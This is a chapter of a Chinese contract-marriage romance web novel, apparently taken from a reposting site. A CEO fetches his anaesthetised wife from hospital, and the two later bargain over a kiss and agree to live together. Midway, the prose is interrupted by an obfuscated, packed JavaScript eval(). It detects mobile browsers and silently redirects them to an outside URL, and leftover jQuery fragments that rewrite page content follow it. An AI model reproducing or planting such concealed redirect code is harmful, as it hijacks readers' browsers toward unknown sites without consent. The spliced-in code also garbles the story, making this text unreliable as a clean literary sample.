47. 第 47 章

作品:《春声潮落[先婚后爱]

    正月初八,萧氏大厦顶楼1号会议室。


    电子显示屏里正赫然印着萧氏集团年初工作会议,会议时至一半,底下的众人无一人敢大声喘气,就连发言者也是小心翼翼,汇报声如嗡鸣的冰珠子嗡嗡嗡硬着头皮,想要一股脑儿24倍速避闪当下时刻。


    特别是避闪上司那张快要拧成寒锥刺人的俊脸。


    “萧总,我的发言完毕,您看——”


    发言者还未说完,萧砚丞桌上的手机振动了两下。


    他点开手机,浅眸捕见仙女二字,迅速抬高右手。


    宽大的掌心朝向众人,紫黢黢的阴阳双镯从端挺袖口里露出,仿佛蛟龙的眼睛,寒喇喇地俯视着桌上的每一位参会者。


    骤时,没人敢出声,集体被塞进了偌大的冰箱里,连氧气也禁入。


    触犯天规的仙女贤妻:[怀金医院.定位]


    [语音]


    萧砚丞轻触屏幕,宋暮阮的甜嗓像一罐储藏的蜂蜜被掀翻,油甜蜂蜜软细而怠劲地流遍了整个会议室。


    “萧砚丞,半小时你不赶来医院,你的甜心宝贝就要坠机了。”


    众人倒抽一口气:!


    妇科室,手术台。


    八点档豪门带球落跑甜心!


    “咚——”


    紫黢黢的檀木双镯搁撞冗长的暗棕会议桌,萧砚丞倏地起身,沉声吩咐元卓:“备车。”


    迈出两步,他回头,对左明堂点了点头。


    “左秘书主持会议。”


    左理堂迅速立身,正了神色,恭敬回复:“好的,萧总。”


    待那抹冷得方正发硬的墨蓝衣角如卷风似的离开,众人各自皆松了口气,同时,又默契露出大喜之色——


    老天承佑,萧氏终于有后了!


    -


    顶楼VIP病房。


    视察玻璃竖条窗里的少女,像只自由的蝴蝶东奔西顾,踩碎了窗外投来的一地光与影。


    “我会飞,我会飞!”


    少女闭合漂亮的柳叶眼,挥舞着两只小细胳膊,停了两秒,转而反折高在腰后,就像两片笔直的机翼,保持匀速行驶,只是人工尚不能把速度控制均匀。


    她险些撞上冲进房里的他。


    萧砚丞及时错身,握住她的手腕。


    “咦?”


    少女仍未睁眼,嘴里咿咿呀呀地调转方向,闷头撞上他的胳膊。


    萧砚丞软了肘臂肌肉,无奈垂眸。


    眼前的少女未施粉黛,一张清丽娇俏的鹅蛋脸因生病而白得近乎透明。


    往日描摹精致的一对黛眉被涂得高高低低的,不太对称,嵌在雪白光洁的眉弓上,像两片飘着的孤清脆弱的细绒丝带。


    若有风一吹,似乎连眉带人都要被刮走。


    萧砚丞低下身子,拢了拢她蓬乱的柔软长发,视线与她齐平。


    看她诧异睁开双眼,一双向来冷凉的灰褐浅眸注入淡淡怜柔。


    “麻醉小蝴蝶。”


    他温柔打招呼。


    宋暮阮脑袋偏歪,一双朦胧的两眼呆呆地看着他,一叠乌发压弯在肩窝里,瞬时垂落在曼妙胸脯前,也溢出呆呆的黑亮。


    此刻对于眼前这男人的话,她的大脑显然无法处理,只好像幼稚园小朋友那般,纳闷垂下柔黑的脑袋,留给他一个圆巧安静的发旋,然后悄悄收回张开的两只小胳膊,乖张地交握在平坦小腹前。


    萧砚丞望着她,眸底亮出微弱的柔意逐渐泛滥,冰白冷凉的指骨刚触到那片交叠的温热手背,少女却突然抬起脑袋——


    “老公,你来啦?是来接甜心宝贝回家的吗?怎么这么晚啊!”


    她嘴里娇声嘟囔着,径自错过他手,冲身后的元卓奔去。


    元卓额角一抽,想要避开,却又怕太太撞墙,只好转过身去,用后背抗住这只乱飞乱喊的小蝴蝶的示好,惊恐又憋屈地叫唤着:“萧太太,我不是啊!您认错了!”


    手落了空,萧砚丞的脸骤沉,侧眸看见少女伸手要拍元卓的肩脊,他长腿几步跨出,单手横截柳叶软腰,一把捞过她。


    牢牢扣压在胸膛里,两片弓形薄唇贴着她鬓角的发丝,低低喃出。


    “是我。”


    护士错愕目睹着这错领老公的场面,有些头疼地解释。


    “萧先生,萧太太的麻醉药效还未褪去,您来之前她还是乖乖躺在……”


    护士的话被少女一声纳闷的发问打断。


    “机长说要老公亲亲,我才能降落,你是我老公吗?”


    没立即得到回答,宋暮阮小手拨了拨腰前的修长指节,似乎在催促。


    “是。”


    萧砚丞生灰的眸色韫深,眸尾的弧度也软了几分。


    宋暮阮不再确认,双手团在白尖尖的下巴前,在他怀里翻了个面,两只团握着的许愿小手抵着他的硬朗胸腔。


    她踮起脚尖,一双迷离潋滟的柳叶眼衔着他,认真发问:


    “那你会亲亲吗?”


    这时,病房内另外一男一女默契对视了眼,踩着彼此的脚后跟,兵荒马乱地退出。


    “砰——”


    实木门板合上。


    这方正单间如扣盖的粉红礼盒,盒子里近乎相拥的男女,一举一动,一呼一吸都被暧昧地放大。


    萧砚丞抿薄了唇。


    指骨覆上少女团握着的两手,青蓝细润的静脉如许愿树虬枝在手背鼓蓬,似乎也把她的虔诚愿望尽数收纳。


    “可以亲。”


    他轻哄着她。


    但,他要他们的唇吻发生在彼此清醒时。


    往上拖了拖掌心里的手团丸子,他在那交叉相握的指关节印上一个克制的吻。


    “萧太太现在可以降落了吗?”


    少女循着声抬睫,一双雾蒙蒙的柳叶眼在看到是一张昳隽的轮廓后,纠缠着的十根玉指慢慢地松开。


    如两片白晶晶的蚌壳,左右黏捧他的下颌,她眉间却蹙起一缕摇摇欲坠的苦恼。


    “怎么办?帅气老公,塔台没和我联系,我不知道降落在哪块停机坪。”


    萧砚丞闻声失笑,转而握着她的手心,背过身去。


    他蹲下身,未扣合的两片墨蓝衣角折在洁净的暖黄瓷砖上,及踝大衣里掩藏的左膝近乎要跪在地。


    “降落在这里。”


    他反手拍了拍自己的宽肩阔背。


    “耶!”


    宋暮阮在他背后雀跃欢呼起来,就连眉间捎着的恼也瞬间弭散,亮出原本白皙无褶的肌肤。


    她爬上他的背,两只细长胳膊环在他的颈前,宽松的鹅黄针织毛衣像是蝴蝶的触角,一左一右向前方抻伸着。


    “宋声声号飞机安全降落~”


    萧砚丞笑了笑,低下颌。


    左脸的颊边痣磨到她手臂内侧的雪肤嫩肉,接着,薄唇无声偏过,自然地落下一个触水似的点吻。


    “好,我们安全降落。”


    他顺着她意应声,平稳地走到病床边。


    床上的棉被皱成一团堆耸在中间,他单手抖散开,轻轻放低少女。


    一缕纤弱玫瑰味的唇息不经意扑在他耳侧,香热得惹人发热,他不动声色地掠过她樱白得透明起褶的唇瓣,倒出一杯温水。


    “来,喝水润唇。”


    “不要!”


    宋暮阮坐在病床上,一把拂开纸杯,水泼洒到糙白的被单,成了一片热腾的湿渍白。


    指尖也沾染稍许水渍,粉嫩指肉透过透明指甲壳变得晶璨璨的,落在她朦黑的柳叶眼底,黑雾里透出点点粉潮的光。


    她掸了掸,指甲上的水渍还残余着星点的水亮,于是,她把指尖揣进男人掌心里,全部揩拭了个干净。


    “老公。”


    她唤他,从未有过的平白情绪。


    萧砚丞缓缓蹲下,高扬清晰性感的下颌骨。


    天花板的炽白灯光打在他的深邃眼窝,一双灰褐浅眸仰望着坐在少女,昳美冷峻的轮廓恍若圣光下的希腊玉雕神像,却浸出堕尘奉人的肃虔底色。


    “嗯?”


    他握住她的纤弱脚腕,拿过掉在床边的一只毛衣同色的绒线羊毛袜,为她穿上,低了低声,再次接过她的唤:“怎么了?”


    宋暮阮翘出另一只毛茸茸的小脚,怯怯地用脚趾头碰了碰他的膝盖。


    “不要把我又丢进云朵里,好不好?”


    声音也是怯怯的,丝毫找不见一周前小霸王猫耀武扬威的影子。


    萧砚丞指骨一顿。


    蝴蝶,应该是在繁花盛景中簇拥破茧的。


    她,不应该受此四年风雨。


    是他,来得太晚了。


    他松开她的脚腕,浅眸看了眼她腰后的白棉被,遂而背过身去。


    “好。”


    一手握捞她的两只胳膊,搭过他双肩,斜斜交叉扣颈前。


    他稳力托住起身,又一次背起她。


    “噔——噔……”


    皮鞋踩地的脚步声,有条不紊地充溢到整间病房。


    萧砚丞缓缓侧过脸,隔着明净玻璃窗看背上的少女,一抹趋于均静的含香鼻息不经意溜过唇珠。


    他的一撇冷诮唇弧,骤时被这抹温热潮湿的气息淹弯。


    “老婆。”


    少女似乎已经入睡,并没有回应他,萧砚丞走到门边,右手刚覆上银质门把手,耳畔忽即传来一声梦呓。


    “老公……下次早点让我降落吧?”


    在他右肩咂了咂嘴,她又黏糊呓了几字:“这几年我和哥哥在天上飞得好累呀。”


    门里的长条玻璃映出他们重叠的蓝黄身影,萧砚丞定神又望了会儿,沉吟道:“好,老婆。”


    肩上的腮颊侧了个面,又坠入梦乡,萧砚丞轻拉开门,颈上的小手顺着往下滑懈了一寸,他及时握住,轻声吩咐:“把床单换了,不要白色。”


    “好的,萧总。”


    不一会儿,元卓便从护士站召回一个年轻小护士去到病房。


    房里无一人,只有一团棉被,乱空耸拱在床上。


    元卓俊脸一红,欲盖弥彰地推了推鼻梁上的金丝眼镜,趁护士小姐在取新床单的间隙,他伸手夹住被角,飞快用被褥盖住那团透明不规则的液渍。


    末了,还被心虚地呛到喉咙。


    “咳咳……咳——”


    萧总好猛,好快!只是亲吻就能达到如此程度,非常人所及!


    正想着,元卓的心思已经飘远,未经初恋的他盯着粉白的墙面,陷入大龄青年的愁思。


    倏地,一道温柔的声音打断了他刚牵头的思忖。


    “先生,床单已经换好,可以通知萧先生了。”


    大龄食草青年收回眼,又欲盖弥彰地推了推眼镜,偏绿的镜光一闪,绿光眼睛不小心对上护士小姐可爱的笑靥。


    护士小姐的笑容冻住,含羞带怒地瞪了他一眼。


    “……”


    元卓蓦地退避三舍,刚褪红的俊脸又开始烧了起来。


    他迅速低头给上司发消息,并没有跟随护士小姐的脚步出去:


    [萧总,床单已换好。]


    上司应该就在附近不远,仅一分钟,便背着太太进来了,元卓贴心走到床侧,掀开粉绒红的棉被。


    待上司妥善放好太太,他捏着被角的手被上司嫌弃拍掉。


    “……”


    元卓抬起头,收到上司一瞥的冷眸,他尴尬地挠了挠脑后勺,状元学霸大脑转即联想到方才那位护士小姐。


    “咳。”


    他又推了推金丝眼镜,一步三转身,憋着满腹的委屈走出了病房外。


    -


    宋暮阮醒来已是晌午,晴日也从层积云里冒出了头。


    偏头瞥见床侧有个高大黑影,她抖然一惊。


    “啊!咦——你?”


    萧砚丞倒是姿态优雅,从亮着的笔记本屏幕里腾出一眸子,衔接上她的目光,自然随和的语气:“醒了?”


    宋暮阮也回瞧着他,总觉得他此刻落到她身上的注视,浸着一层淡淡的似圣母看待幼孩的悯爱慈悲。


    “……”


    她骤然切断对视,眼睛下落到他右肩明显的褶纹。


    大衣底色墨蓝,与黑近似,她的视力还无法达到能在三米的距离,精准捉见一丝女人的头发。


    但,透窗射进的日光照亮了那乌润的发梢,她不得不盯瞅着眼看。


    越看,眉心就越扭捏得冷。


    “你怎么会在这儿?什么时候来的?我怎么不知道?”


    对于小妻子清醒后抛出的一系列问题,萧砚丞早已预计,但此刻正忙于集团事务,他拿起嗡嗡作响的手机,耐心地接过她所有的问:“我先让元卓来替你解答。”


    “?”


    宋暮阮眼睁睁看着他借故拿手机出去处理出轨证据,咬着樱白透明的唇肉,也不出声阻止。


    另一边,元卓被支使进来,一头雾水,实在想不通不知太太找他有何事,竟要撇开萧总,和他单独谈话。


    冷不防受到一个瞪视,他止步在床尾,率先摆出有问必答的诚恳态度:“太太,请问您有什么吩咐?”


    “你们什么时候来的?”


    宋暮阮支起小细胳膊,拎起粉色枕头靠放床头。


    下一秒,薄如纸片的纤背重重压在上面。


    元卓捡重点汇报:“太太,萧总哄了您好久。”


    宋暮阮倒是不解,丝毫没抓住对方抛来的重点,注意力转而落到一个字上:“我为什么要被他哄?”


    元卓先引导少女理清逻辑。


    “您做完胃镜后的麻醉药生效,在胃镜室外的长椅上给萧总发消息,说他再不过来,甜心宝贝就要坠机了。”


    宋暮阮呆了呆眼。


    “……我还会说这话?”


    “不止,”元卓刻意借推眼镜的动作,顿了顿声,把话音重点着重抛出,“您还要萧总亲亲。”


    宋暮阮:“!”


    眉端吊俏起来,一双呆滞的柳叶眼顷刻灌注惊张。


    “那他亲了吗???”


    元卓耸了耸肩。


    “萧总亲没亲我不知道,反正清场了。”


    清场这一词,逞坏含金量极重,宋暮阮刚睡醒的脑袋却生出一丝质疑。


    “我不信,萧砚丞不是个有求必应,趁人之危的人。”


    元卓解锁手机,翻出最新视频,亮在少女的眼前。


    “太太,我亲眼所见,亲耳所听,护士也可以证明。”


    视频是贴着门上的玻璃观察窗拍摄的,或许是怕被发现,角度不太稳。


    确认不是摆拍,宋暮阮凝了凝眼看向屏幕。


    屏幕里,萧砚丞背着她,轻脚慢步,正从床尾走到窗边,在窗边顿了片刻后,他调转高大身躯,腾出一只手向后伸,抚了抚她的脑袋,向来冷峻的面容竟诡异生出丝缕浅淡的柔和!


    “……”


    宋暮阮默默得收回手,顺带拍了拍愣红的脸蛋。


    所以——那根出轨的头发是她的?


    深知事态局势扭转,元卓趁热打铁。


    “太太,萧总上午为了您,推掉了萧氏年初工作会议和一个重要的国际会议。”


    “啊?”


    大资本家不会找她赔偿吧?


    “元秘书。”


    门外忽然传来一道偏冷的嗓声,元卓立刻识趣退出,并合上木门。


    宋暮阮打量走近的男人。


    今日,他身着一件及踝大衣,如夜的墨灰蓝色,里面是同色系西服套装,真丝云白的衬衫,领口如元旦夜初见那般,黑金宝石纽扣从劲健的腹部古板地系到顶。


    顶上方的颈肉里,饱硕喉结折出沟壑起伏的尖锐棱角,成熟男人的荷尔蒙气息快要撑满她两只黑漆漆的柳叶眼。


    一周不见,他倒是越发抖擞隽方。不像她,这几日不顾饮食,喝冰的吃辣的,昨天狼狈犯胃疼,今早就不得不素白个小脸随意笼了件毛衣就打车去了医院。


    而且,她这个小可怜还得舍近绕过哥哥的医院,求远求可靠地找了这家高端的私人医院,再加上萧砚丞好心办坏事,这一顿VIP奢宠病房套餐下来,免不了上万!


    ……本就囊中羞涩。


    宋暮阮越想越觉得胃在隐隐作疼,倏地又想到方才的事,胃液仿佛在咕噜咕噜沸腾。


    她狐疑地看向他。


    “你是不是亲我了?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101215|160473||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “是。”


    萧砚丞未作犹豫。


    “!”


    这就……承认了?


    宋暮阮垮着苍白小脸,气冲冲地撒足下了床,就着他的胸膛抡起两只粉白小拳头开始捶,然而一捶下去,握蜷的五根手指都跟着发麻。


    她吃疼嘤咛了声,说:“伪君子!那是我初吻,你还我!”


    萧砚丞轻松握住她软绵绵的小猫套拳,体贴地抻开那团握住的玉指,揉了揉她的细嫩指尖,耐心垂询:“要怎么还?亲回来还是索要赔偿?”


    宋暮阮压住两眼的亮,毫不犹豫地回答:“赔偿!”


    最好是给她一个亿!


    她径自在亿万富婆俱乐部中畅游幻想着。


    萧砚丞仍摩挲着她发麻的指尖,一双浅眸却勾出淡邈谑笑。


    “那萧太太算一下,贮储二十九年和二十二年的初吻,谁的商业价值更高?”


    接着,他薄唇不疾不徐地轻启,陈述出另一个既定事实:


    “另外,以萧某年收入来算,每天工作十小时,时薪均在五千万左右,而太太上午赖着我三小时不放。”


    “这两笔账,萧某打算一起算。”


    “……”


    怎么算好像都是她沾了便宜?


    宋暮阮咻的下抽回手,生怕他找她讨要按摩费用,毕竟钱包里的所有银行卡加起来都不够赔的!


    于是,她软下脸色,两只小胳膊挽上他的胳膊,额角磨了磨他墨蓝端阔的衣肩,不一会儿,男人肩上的褶纹又生出新的皱痕。


    她撒着娇滴滴的弱细声音,说:


    “突然不想要初吻赔偿费了,萧生,那我可以不赔你的三小时时薪吗?”


    少女的声音嗲得很,一汪荡漾春水在胸脯里,软绵绵的,根本摸不到骨头,但话里话外却是在当他面打最胆大放肆的肇事出逃计划。


    萧砚丞注视着她,即刻抽离理智,一副对人不对事的古板脸。


    “介于太太的特殊关系,我可以打折。”


    宋暮阮顿时又暗怀期待,两只乌溜溜的柳叶眼越过他的肩头,紧紧地凝着他的英俊侧脸。


    “几折呀?”


    萧砚丞偏低过眸,眸心拢住她充满期冀的眼瞳,圆桌会议谈判的平淡嗓调,道出招标最后的价格:“以萧氏长期合作伙伴的关系来算,我让利25个百分点。”


    “?”


    一亿五千万,她这个打工人把她这辈子,下辈子,下下辈子都塞进萧氏,也还不完……


    忽然,她想起一事,面色略微苍白的鹅蛋脸逐渐焕发出新异的色彩。


    “你以前不是说让我进萧氏吗?那我现在答应了,我要做你的秘书助理!”


    少女骄横又不容商量的语调倒是和他下达命令时有几分像,萧砚丞有效被这只小霸王属科的蝴蝶小姐取悦到。


    “好,入职后依照元秘书的薪酬计算。”


    宋暮阮把萧太太任职年薪和秘书年薪相加,粗略计算了下还款日期,为难地撇了撇樱白的唇瓣:“十年!到时还完款,我都人老珠黄了,还嫁得出去吗?”


    萧砚丞略微颔首,漫不经心地往她发愁发闷的话里扔了个定时炸弹。


    “萧某并不保证与太太合作十年。”


    宋暮阮眉端往中心一拢,小手也不挽他胳膊了,一只白嫩赤足尖踩上他油黑乌亮的鞋头,整个人与他正面对峙,打算要问个彻底:“什么意思?”


    房里有地暖,萧砚丞也不怕她受冷,眸光略过她圆润粉红的趾头,思忖着毛茸线袜何时在他眼皮底下又掉了。


    “萧砚丞,你说话呀!”


    宋暮阮急得两脚踩上他的鞋面。


    萧砚丞望进她暗含忿光的黑瞳里,沉声给出答案:“合约里明确约定,一方恋爱即可解除关系。”


    “……”


    宋暮阮蔫了,愁眉苦脸地彻底蔫了。


    她在他心里自然是比不过那位公寓娇娇的……除非——?


    除非他喜欢她!


    那么,他就不会对公寓娇娇分出异心,而她……就能保住她的正宫地位了!


    如是这样想,宋暮阮蓦地踮起脚尖,然而身高差的距离并不能让她轻松亲到萧砚丞的脸。


    “你下来一点。”


    她闷闷道。


    萧砚丞扯了扯嘴角,下颌如泰山昂首岿屹。


    宋暮阮就知道他没那么乖,扒拉出两只小手擒拽他的翻领,往下一扯,嘟尖了樱白的饱满唇瓣,飞快地啄了啄他左脸那粒颊边痣。


    觉察到他身躯一瞬的愣怔,她趁机撩掀漂亮纤长的花蕊丝睫毛,一双乌黑潋滟的柳叶眼仰凝着他,淡黑睫根描摹出的上目线清纯柔淡,一副完完全全撇开迫害者的无辜模样。


    萧砚丞的眸光径直定投到她白樱色的唇瓣上。


    两根修纤指骨伸出,他也毫不客气地掐住她的下巴尖,缓缓往他面前抬。


    “太太这是什么意思?”


    美貌引诱成功!


    宋暮阮暗自得意,低下踮起的两只赤足安稳落地。


    瓷砖的热从足底暖到心窝,她捉衣领的两只小手转而奉握住他的囚禁腕骨,接着,刻意弓蜷起软腰,整个娇躯嵌进他投映的日影里,强烈的身形差,营出一副食物链底端的柔弱猫咪样儿。


    “萧生~那你能不能为你的萧太太破个例,与合作方产生利益之外的非理性关系?”


    毕竟,没什么工作比兼职萧太太更赚钱的了。


    她得努力奋战薅羊毛!


    少女的邀请如缠拱门的金钩吻。


    美丽,有毒,还想妄自钩住他吸血。


    萧砚丞的喉结暗自堕沉在颈部皮肉里,喉咙口如嵌着一块烧红的铁锹子,挤出的薄荷味唇息掩不了的热硬,尽数扑在她的尖俏下巴。


    “那则请萧太太努力散发自己的魅力。”


    没得到否认,宋暮阮倏时绽开笑颜。


    小拇指勾着他的修长食指,她把他安置在棕面布艺沙发上。


    待他坐稳,她轻轻挤开他的双膝,两只玉腿黏上他的骆马绒黑西裤。


    “萧先生,背了我这么久,肯定腰酸背疼吧?”


    她说着,放下他的食指,空出的一双玉手蜷握成拳头,轻巧地捶上他的双肩。


    “我学过穴位按摩,是不是很舒服?”


    这句话似曾相识,上次炫耀她按穴位的技术还是在珀御自荐当法语老师的那晚。


    那时她有求未遂胆大讨好,如今她有求已遂,却还在——


    后颈突然贴上一团软热,萧砚丞倏怔抽离神思。


    温烫的掌心,迅速圈住她的柔细腕骨。


    “疼!”


    见她小脸受挫,乌亮的眼瞳也些许轻红,他略带歉意地放开,软低嗓声:“你生病了,我送你回家。”


    讨乖失败,宋暮阮心里闹着情绪,但想到他百忙之中陪她,还要送她回家,又很快恢复笑吟吟的模样。


    “萧生~”


    宋暮阮坐在他的大腿上,搂过他的脖颈,毛茸茸的脑袋自然而然地倚在他肩窝里,光洁白皙的眉弓额角,也自然亲昵上那侧灼烫的颈肉:“我想和你商量件事。”


    果然还另有所求。


    略过香软的触感,萧砚丞的平稳嗓线贯彻貌似性冷淡者的自持。


    “嗯?”


    少女几欲出声,却只咬了咬饱满唇瓣,一双白嫩的脚尖倒是局促地前后地踮了踮,似乎是打算在他腿上荡秋千。


    萧砚丞慵懒伸出左手,隔着层鹅黄针织毛衣,握住她软细的侧腰。


    “是想商量什么?”


    宋暮阮得逞地弯了弯唇,娇着声囔出心里的小算盘——


    “萧生,我们同居吧?”


    想要长久而持续地薅到巨额羊毛,得时刻把肥羊监控在手心才行!


    孙子兵法第十一计——李代桃僵。


    以局部的微弱损失,谋取全局长远的成功!


    “好。”


    他不假思定。


    耶~


    宋暮阮眉眼唇角皆翘弯,如小猫似的亲昵拱了拱他偏下的温硬颌骨。


    明日速成,看她宋家仙女军事师翻云覆雨,造建萧咩咩自动脱毛系统!